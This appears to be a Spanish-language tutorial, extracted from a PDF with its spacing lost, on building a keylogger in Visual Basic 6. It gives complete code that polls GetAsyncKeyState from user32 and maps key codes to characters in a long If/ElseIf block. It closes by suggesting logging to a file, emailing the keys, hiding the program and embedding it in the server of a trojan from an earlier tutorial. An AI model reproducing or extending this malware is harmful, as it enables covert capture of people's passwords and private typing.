Vous êtes sur la page 1sur 7

CreaciondeunkeyloggerenVbasic6.

0
por:BLackShadow.

Diseovisual
Loprimeroesloprimero...AbrirVisualbasicyseleccionarunnuevoformularioestandardtipo.exe,
luegoseleccionamosdelacajadecontrolesunaetiquetao"Label"alaquellamaremosMemoriaysu
propiedadCaptionlaestableceremosen"",oseanada,quenodiganada,podemoscambiarla
propiedaddelborde.BorderStyleypasaelaa1lacualesfixedsingle.
Ahorabiencolocamosdosbotones,podemosdejarleslosnombrescommand1y2pordefectoperole
cambiamoslapropiedaddeCaptiona"Obtener"paracommand1y"Detener",paracommand2.
Unavezterminadoestoyapodemosdecirquetenemoseldiseovisualdenuestrokeyloggerbasico.

CreaciondeunmoduloparalaAPI
Ok,enestapartetrataredenoondarmuchoysoloexplicarlobasicoparaelentendimientodel
keylogger.
UnaAPI(delinglesApplicationProgrammingInterfaceInterfacedeProgramaciondeAplicaciones,
interfazdeprogramacindelaaplicacin)esunconjuntodeespecificacionesdecomunicacinentre
componentes software. Representa un mtodo para conseguir abstraccin en la programacin,
generalmente(aunquenonecesariamente)entrelosnivelesocapasinferioresylossuperioresdel
software.UnodelosprincipalespropsitosdeunaAPIconsisteenproporcionarunconjuntode
funciones.
Puesbien...entendiendoloqueesunaapiytratandodeexplicarlodemaneracoloquial,podemos
decirqueunaapiescodigoyadiseadoporlosprogramadoresdewindowsquefacilitaaunoel
programarcosascomplejascomolassalidasyetradasestandaresdeunapc.
Parallamarunaapianuestroproyectodebemosagregarelmoduloypodemosseleccionarenel
menudearribalaopcionproyecto>agregarModulo,conestoestariamosagregandounmoduloyen
elmoduloagregaremoselcodigoxapazdellamaralaapientiempodeejecucion.
DeclareFunctionGetAsyncKeyStateLib"user32"(ByValvKeyAsLong)AsInteger
La parte azul que escribi arriba son los llamados a las apis necesarias para nuestro proposito.
TenemoslafuncionGetAsyncKeyStatelacualtomamosdeuser32,esafuncioncomosunombrelo
diceeslaencargadadeobtenerlasteclasyestacontenidaenlalibreriauser32.dll.
Unavezdeclaradaesalireriapodemoshacerotrafuncionquenosretornelasteclasdelasiguiente
manera:

FunctionGetPressedKey()AsString
ForCnt=1To1000
IfGetAsyncKeyState(Cnt)<>0Then
GetPressedKey=Cnt'Chr$(Cnt)
ExitFor
EndIf
NextCnt
EndFunction
LafuncionGetPressedKeytraduccion"Tomalateclapresionada"hechapornosotroscontieneunfor
esteforhaceunrecorridoportodaslasteclasquttienenvaloresentre1y1000,siunadelasteclas
tieneunvalorparaelmomentodelrecorridoestesecomparaconelvalorcontenidoenCntelcuales
unacumulador"delfor",ysiesdiferntedecerosetomaelvalorypasaalafunciongetpressedkey
paracrearrecursividad.
EsevalorcapturadoqueeselmismoqueestaenCntparaelmomentodelacapturadelatecla,esa
teclaestarepresentadaporunnumero,ahorasolonosquedahacervariascondicionesparaescribir
latecla.Todoelcodigoexpplicadoarribavaenelmoduloqueagregamos.
3.Codigodelformulario
Lapartequenostocaeslamassencilla,yatenemoselkeyloggerlisto,solonosquedasaberque
numerodeteclatenemosycualessucorrespondienteleyenda.
DimSoldAsString'declaramosasoldcomounavariableglobalytipocadena
'agrgamosunboton,"command1"
PrivateSubCommand1_Click()
Timer1.Enabled=True'activamoseltimeroseacomienzaaobtenerlasteclas
EndSub
'agrgamosunboton,"command2"
PrivateSubCommand2_Click()
Timer1.Enabled=False'desactivamoseltimer,dejamosdeobtener
EndSub
'agrgamosuntimerconlapropiedadinterval=1,"Timer1"
PrivateSubTimer1_Timer()
OnErrorResumeNext
Ret=GetPressedKey'Rettomaelvalordelateclaobtenidadelmodulo
IfRet<>SoldThen'siretesdiferenteasoldentonces
Sold=Ret'correjidoelerrorSorry!'soldobtieneelvalorderet
IfSoldLike"1"Then'estosehaceparanocapturar2vecesomaslamismatecla
Memoria=Memoria&"[clickder]"&vbNewLine
ElseIfSold="2"Then
Memoria=Memoria&"[clickizq]"&vbNewLine
ElseIfSold="112"Then
Memoria=Memoria&"[f1]"

ElseIfSold="113"Then
Memoria=Memoria&"[f2]"
ElseIfSold="114"Then
Memoria=Memoria&"[f3]"
ElseIfSold="115"Then
Memoria=Memoria&"[f4]"
ElseIfSold="116"Then
Memoria=Memoria&"[f5]"
ElseIfSold="117"Then
Memoria=Memoria&"[f6]"
ElseIfSold="118"Then
Memoria=Memoria&"[f7]"
ElseIfSold="119"Then
Memoria=Memoria&"[f8]"
ElseIfSold="120"Then
Memoria=Memoria&"[f9]"
ElseIfSold="121"Then
Memoria=Memoria&"[f10]"
ElseIfSold="122"Then
Memoria=Memoria&"[f11]"
ElseIfSold="123"Then
Memoria=Memoria&"[f12]"
'///////////////////////////////////////////////////////
ElseIfSold="49"Then
Memoria=Memoria&1
ElseIfSold="50"Then
Memoria=Memoria&2
ElseIfSold="51"Then
Memoria=Memoria&3
ElseIfSold="52"Then
Memoria=Memoria&4
ElseIfSold="53"Then
Memoria=Memoria&5
ElseIfSold="54"Then
Memoria=Memoria&6
ElseIfSold="55"Then
Memoria=Memoria&7
ElseIfSold="56"Then
Memoria=Memoria&8
ElseIfSold="57"Then
Memoria=Memoria&9
'//////////////////////////////////////////////////////
ElseIfSold="48"Then
Memoria=Memoria&0

ElseIfSold="8"Then
'Memoria=Mid(Memoria,1,Len(Memoria)1)
ElseIfSold="9"Then
Memoria=Memoria&"[TAB]"
ElseIfSold="81"Then
Memoria=Memoria&"Q"
ElseIfSold="87"Then
Memoria=Memoria&"W"
ElseIfSold="69"Then
Memoria=Memoria&"E"
ElseIfSold="82"Then
Memoria=Memoria&"R"
ElseIfSold="84"Then
Memoria=Memoria&"T"
ElseIfSold="89"Then
Memoria=Memoria&"Y"
ElseIfSold="85"Then
Memoria=Memoria&"U"
ElseIfSold="73"Then
Memoria=Memoria&"I"
ElseIfSold="79"Then
Memoria=Memoria&"O"
ElseIfSold="80"Then
Memoria=Memoria&"P"
'//////////////////////////////////////////////////////
ElseIfSold="13"Then
Memoria=Memoria&"[ENTER]"&vbNewLine
ElseIfSold="20"Then
Memoria=Memoria&"[MAY]"
ElseIfSold="65"Then
Memoria=Memoria&"A"
ElseIfSold="83"Then
Memoria=Memoria&"S"
ElseIfSold="68"Then
Memoria=Memoria&"D"
ElseIfSold="70"Then
Memoria=Memoria&"F"
ElseIfSold="71"Then
Memoria=Memoria&"G"
ElseIfSold="72"Then
Memoria=Memoria&"H"
ElseIfSold="74"Then
Memoria=Memoria&"J"
ElseIfSold="75"Then

Memoria=Memoria&"K"
ElseIfSold="76"Then
Memoria=Memoria&"L"
'//////////////////////////////////////////////////////
ElseIfSold="219"Then
Memoria=Memoria&"'"
ElseIfSold="221"Then
Memoria=Memoria&""
ElseIfSold="220"Then
Memoria=Memoria&""
ElseIfSold="192"Then
Memoria=Memoria&""
ElseIfSold="222"Then
Memoria=Memoria&"`"
ElseIfSold="191"Then
Memoria=Memoria&""
ElseIfSold="16"Then
Memoria=Memoria&"[SHIFT]"
ElseIfSold="226"Then
Memoria=Memoria&"<"
ElseIfSold="90"Then
Memoria=Memoria&"Z"
ElseIfSold="88"Then
Memoria=Memoria&"X"
ElseIfSold="67"Then
Memoria=Memoria&"C"
ElseIfSold="86"Then
Memoria=Memoria&"V"
ElseIfSold="66"Then
Memoria=Memoria&"B"
ElseIfSold="78"Then
Memoria=Memoria&"N"
ElseIfSold="77"Then
Memoria=Memoria&"M"
ElseIfSold="188"Then
Memoria=Memoria&","
ElseIfSold="190"Then
Memoria=Memoria&"."
'//////////////////////////////////////////////////////
ElseIfSold="189"Then
Memoria=Memoria&""
ElseIfSold="17"Then
Memoria=Memoria&"[CTRL]"
ElseIfSold="91"Then

Memoria=Memoria&"[WININIDER]"
ElseIfSold="18164"Then
Memoria=Memoria&"[ALT]"
ElseIfSold="32"Then
Memoria=Memoria&""
ElseIfSold="92"Then
Memoria=Memoria&"[WININIIZQ]"
ElseIfSold="93"Then
Memoria=Memoria&"[WINPROP]"
ElseIfSold="27"Then
Memoria=Memoria&"[ESC]"
'//////////////////////////////////////////////////////
ElseIfSold="44"Then
Memoria=Memoria&"[IMPPANT]"
ElseIfSold="145"Then
Memoria=Memoria&"[BLOQ]"
ElseIfSold="19"Then
Memoria=Memoria&"[PAUSA]"
ElseIfSold="45"Then
Memoria=Memoria&"[INSERT]"
ElseIfSold="36"Then
Memoria=Memoria&"[INICIO]"
ElseIfSold="33"Then
Memoria=Memoria&"[REPAG]"
ElseIfSold="46"Then
Memoria=Memoria&"[DEL]"
ElseIfSold="35"Then
Memoria=Memoria&"[FIN]"
ElseIfSold="34"Then
Memoria=Memoria&"[AVPAG]"
ElseIfSold="38"Then
Memoria=Memoria&"[FLECHAARRIBA]"
ElseIfSold="37"Then
Memoria=Memoria&"[FLECHAIZQUI]"
ElseIfSold="39"Then
Memoria=Memoria&"[FLECHADERECH]"
ElseIfSold="40"Then
Memoria=Memoria&"[FLECHAABAJO]"
ElseIfSold="144"Then
Memoria=Memoria&"[NUM]"
'////////////////////////////////////////////////
ElseIfSold="111"Then
Memoria=Memoria&"/"
ElseIfSold="106"Then

Memoria=Memoria&"*"
ElseIfSold="109"Then
Memoria=Memoria&""
ElseIfSold="107"Then
Memoria=Memoria&"+"
ElseIfSold="96"Then
Memoria=Memoria&"0"
ElseIfSold="97"Then
Memoria=Memoria&"1"
ElseIfSold="98"Then
Memoria=Memoria&"2"
ElseIfSold="99"Then
Memoria=Memoria&"3"
ElseIfSold="100"Then
Memoria=Memoria&"4"
ElseIfSold="101"Then
Memoria=Memoria&"5"
ElseIfSold="102"Then
Memoria=Memoria&"6"
ElseIfSold="103"Then
Memoria=Memoria&"7"
ElseIfSold="104"Then
Memoria=Memoria&"8"
ElseIfSold="105"Then
Memoria=Memoria&"9"
ElseIfSold="18"Then
Memoria=Memoria&"[ALT]"
EndIf
EndIf
EndSub
Traducciondenumeroaleyendasobtenidas.
Estekeyloggermuesralasteclasobtenidasenelcaptiondeellabeldelformulario,paralosmas
avanzadospuedentenermilyunaformadegrabarenunarchivolasteclasobtenidas,enviarlaspor
emaily/oocultarelkeyloggerbasandoseenloyapropuestopormienlacraciondeltroyano...
Silesdalamente,seloagreganalformdelserverdeltroyanodelotrotutorial.
Salu2s!